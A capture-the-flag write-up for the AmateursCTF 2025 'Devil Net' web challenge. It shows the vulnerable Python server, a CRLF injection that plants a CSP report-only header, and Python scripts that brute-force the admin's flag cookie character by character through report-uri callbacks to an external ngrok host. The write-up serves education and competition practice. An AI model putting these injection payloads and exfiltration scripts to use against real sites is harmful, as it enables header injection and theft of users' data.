# Devilnet Amateurs CTF 2025 Writeup
🖊️Author: DJumanto
🛡️Team: HCS
📖Note: This Writeup contains solver for Devil Net challenge in amateurs CTF 2025
---
## TL;DR
This writeup explains how we were able to predict client-side content through a CRLF injection vector combined with the ``report-uri`` CSP directive.
---
## Summary
* **Vulnerabilities:** CRLF Injection, XS-Leaks.
* **Target:** Read the flag in the admin page
---
## The App
In this challenge, we're given an application with a single ``web.py`` file.
web.py
```py
#!/usr/bin/env python3
import base64, logging, sys, os, time
from http.server import HTTPServer, BaseHTTPRequestHandler
from urllib.parse import urlparse, parse_qs
from http.cookies import SimpleCookie
from selenium import webdriver
from selenium.webdriver.chrome.options import Options
from selenium.webdriver.chrome.service import Service
flag = os.getenv("FLAG", "amateursCTF{t3st_f14g}") # charset: a-z{}
binary_location = os.environ.get("CHROME_BIN", "/usr/bin/chromium")
service_location = os.environ.get("CHROMEDRIVER", "/usr/bin/chromedriver")
# Teemo website
template = """<html>
<head>
<title>Teemo Scout</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<h1>Welcome to the Teemo Scout</h1>
<p>Use this service to scout for Teemo's hidden zones.</p>
<p>To scout, append <code>?content=your_content_here</code> to the URL.</p>
<p>Example: <code>/scout?content=HelloTeemo</code></p>
<p>Happy scouting!</p>
<p>
<flag>
<replaceme>
</p>
</body>
</html>
"""
class TeemoScoutHandler(BaseHTTPRequestHandler):
def do_GET(self):
parsed_url = urlparse(self.path)
path = parsed_url.path
params = parse_qs(parsed_url.query)
if path == '/bot':
return self.handle_bot(params)
parsed = urlparse(self.path)
content = parse_qs(parsed.query).get('content', [""])[0]
scout_out = 'deadbeef' + content
if scout_out.count('\n') >= 5 or not all(x not in scout_out.lower() for x in ['stat', 'type','loc', 'ref']):
scout_out = 'invalid content'
self.server_version = f"TeemoNet/v2"
self.sys_version = f'{scout_out}'
self.send_response(200)
self.send_header('Content-Type', 'text/html; charset=utf-8')
cookies = SimpleCookie(self.headers.get('Cookie', ''))
stuff = cookies.get('FLAG', None)
body = template.replace("<flag>", stuff.value if stuff else "")
body = body.replace("<replaceme>", scout_out)
self.send_header('Content-Length', str(len(body)))
self.end_headers()
self.wfile.write(body.encode())
def handle_bot(self, params):
print(f"[+] Bot requested to visit URL with params: {params}", file=sys.stderr)
try:
address = params.get('address', ['uhm'])[0]
data = base64.b64decode(address).decode()
url = f"http://127.0.0.1:9192/scout?content={data}"
print(f"[+] Visiting {url}", file=sys.stderr)
options = Options()
options.add_argument("--headless")
options.add_argument("--no-sandbox")
options.add_argument("--disable-dev-shm-usage") # helps in Docker
options.binary_location = binary_location
service = Service(service_location)
driver = webdriver.Chrome(service=service, options=options)
print("[-] Chrome WebDriver started", file=sys.stderr)
driver.get('http://127.0.0.1:9192/void')
driver.add_cookie({'name':'FLAG','value': flag})
print(f"[-] Visiting URL {url}", file=sys.stderr)
driver.get(url)
driver.implicitly_wait(5)
time.sleep(3)
driver.quit()
print(f"[-] Done visiting {url}", file=sys.stderr)
self.send_response(302)
self.send_header('Location', 'http://127.0.0.1:9192/')
self.send_header('Content-Length','0')
self.end_headers()
except Exception as e:
print(e, file=sys.stderr)
self.send_response(400)
self.send_header('Content-Length','0')
self.end_headers()
if __name__ == "__main__":
logging.basicConfig(level=logging.INFO)
port = 9192
logging.info(f"Teemo Scout server listening on {port}")
HTTPServer(("0.0.0.0", port), TeemoScoutHandler).serve_forever()
```
So our primary target is pretty straight forward, the cookie of admin is embbeded in content replacing the ``<flag>`` and our ``content`` data is placed right in the system version and ``<replaceme>`` section
> *Set the flag content*
```python
cookies = SimpleCookie(self.headers.get('Cookie', ''))
stuff = cookies.get('FLAG', None)
body = template.replace("<flag>", stuff.value if stuff else "")
```
> *Set content to sys version and \<replaceme> section
```python
parsed = urlparse(self.path)
content = parse_qs(parsed.query).get('content', [""])[0]
scout_out = 'deadbeef' + content
if scout_out.count('\n') >= 5 or not all(x not in scout_out.lower() for x in ['stat', 'type','loc', 'ref']):
scout_out = 'invalid content'
self.server_version = f"TeemoNet/v2"
self.sys_version = f'{scout_out}'
...
body = body.replace("<replaceme>", scout_out)
self.send_header('Content-Length', str(len(body)))
self.end_headers()
```
Pretty straightforward right? let's fire up our docker and see the request and response.

As we can see, the CSP policy is highly restrictive, setting most sources to 'none'. This prevents traditional script injection and rules out straightforward XSS exploitation. So the question becomes: how can we still retrieve the flag under this constraint?
---
## CRLF Injection
In the system version processing, there's clearly a CRLF Injection, this can be checked by inputting our content with ``?content=beefdead%0d%0aAlamak:%20Test123``
```python
self.server_version = f"TeemoNet/v2"
self.sys_version = f'{scout_out}'
```

---
## XS-Leaks with report-uri
Next, what can we do with the restrictive CSP? since we can't attempt an XSS or CSS injection. The description of the challenge give us this:
> *HINT: Teemo’s CSP scouts are too secure... In fact, they are so safe that sometimes they even report what they saw.*
We can take advantage of the ``report-uri`` CSP directive to trigger and exfiltrate CSP violation reports to our server.
Initially, I considered using report-sample to leak content that violates ``style-src``, but the flag is located too deep within the response, making this approach insufficient for full extraction.
Instead, we inject a custom ``Content-Security-Policy-Report-Only`` header via CRLF injection:
```
?content=%0D%0AContent-Security-Policy-Report-Only:%20style-src%20'{sha}';%20report-uri%20http://0.tcp.ap.ngrok.io:13436/?char={j};%0D%0A%0D%0A<style>
```
This forces the browser to apply our modified CSP rules, rendering the injected ``<style>`` block and triggering a Subresource Integrity (SRI) violation. The violation is then sent to our server as a CSP report:

Since we only need to leak the flag content, we limit the HTTP response payload using a Content-Length header. For testing and to identify the correct offset, I temporarily replaced the ``<flag>`` portion with a local placeholder. Fast forward, because we already know that the format is ``amateursCTF{``, we set the content length starts from 528
```
?content=%0D%0AContent-Length:%20528%0D%0AContent-Security-Policy-Report-Only:%20style-src%20'{sha}';%20report-uri%20http://0.tcp.ap.ngrok.io:13436/?char={j};%0D%0A%0D%0A<style>
```

The main challenge now is that we do not know the server’s ``Content-Length`` value, meaning the size of the flag may vary. Because of this, we must first brute-guess the correct ``Content-Length`` value before we can proceed with leaking the flag.
The script below automates the process. It is not particularly fast, but it is sufficient to enumerate the correct length and ultimately retrieve the flag.
---
## Exploit POC
automate.py
```python
import hashlib
import base64
from urllib.parse import quote, unquote
import requests
chars = "}abcdefghijklmnopqrstuvwxyz"
POLL_SERVER = "http://0.tcp.ap.ngrok.io:15847"
FLAG_LEN = ""
dataLen = """
Content-Type: text/html; charset=utf-8
Content-Length: {}"""
for i in range(66,69):
for j in range(0,10):
temp = dataLen.format(FLAG_LEN+str(j))
print(FLAG_LEN+str(j))
h = hashlib.sha256(temp.encode("utf-8")).digest()
b64 = base64.b64encode(h).decode("utf-8")
sha = f"sha256-{quote(b64)}"
print(sha)
target = f"%0D%0AContent-Length:%20{i}%0D%0AContent-Security-Policy-Report-Only:%20style-src%20'{sha}';%20report-uri%20{POLL_SERVER}/?char={j};%0D%0A%0D%0A<style>"
info = base64.b64encode(target.encode()).decode()
print(f"request with number {j}")
resp = requests.get("http://localhost:9192/bot?address="+quote(info))
resp = requests.get(f"{POLL_SERVER}/getFlagIndex")
if(str(j) in resp.text):
print(f"We got the Length: {FLAG_LEN+str(j)}")
FLAG_LEN += str(j)
requests.get(f"{POLL_SERVER}/reset")
break
FLAG_LEN = int(FLAG_LEN)+1
print(f"Flag Length: {FLAG_LEN}")
data = """
Content-Type: text/html; charset=utf-8
Content-Length: {}
<html>
<head>
<title>Teemo Scout</title>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
</head>
<body>
<h1>Welcome to the Teemo Scout</h1>
<p>Use this service to scout for Teemo's hidden zones.</p>
<p>To scout, append <code>?content=your_content_here</code> to the URL.</p>
<p>Example: <code>/scout?content=HelloTeemo</code></p>
<p>Happy scouting!</p>
<p>
{}"""
FLAG = "amateursCTF{"
for i in range(528,540):
for j in chars:
temp = data.format(FLAG_LEN,FLAG+j)
h = hashlib.sha256(temp.encode("utf-8")).digest()
b64 = base64.b64encode(h).decode("utf-8")
sha = f"sha256-{quote(b64)}"
print(sha)
target = f"%0D%0AContent-Length:%20{i}%0D%0AContent-Security-Policy-Report-Only:%20style-src%20'{sha}';%20report-uri%20{POLL_SERVER}/?char={j};%0D%0A%0D%0A<style>"
info = base64.b64encode(target.encode()).decode()
print(f"request with char {FLAG+j}")
resp = requests.get("http://localhost:9192/bot?address="+quote(info))
resp = requests.get(f"{POLL_SERVER}/getFlagIndex")
if(j in resp.text):
print(f"We got the flag char: {j}")
FLAG += j
if j == "}":
print(f"Flag Recovered: {FLAG}")
exit()
requests.get(f"{POLL_SERVER}/reset")
break
```
reciever.py
```python
from flask import Flask, request
app = Flask(__name__)
VALID_CHAR = "}abcdefghijklmnopqrstuvwxyz1234567890"
@app.route("/", methods=["GET", "POST"])
def index():
global VALID_CHAR
char_id = request.args.get("char")
VALID_CHAR = VALID_CHAR.replace(char_id,"")
print(f"char left: {VALID_CHAR}")
return "OK"
@app.route("/reset", methods=["GET"])
def reset():
global VALID_CHAR
VALID_CHAR = "}abcdefghijklmnopqrstuvwxyz1234567890"
return "OK"
@app.route("/getFlagIndex", methods=["GET"])
def getFlag():
return VALID_CHAR
if __name__ == "__main__":
app.run(port=9999, host="0.0.0.0")
```
---
## References
* https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy/report-uri.
* https://developer.mozilla.org/en-US/docs/Web/HTTP/Reference/Headers/Content-Security-Policy-Report-Only.
---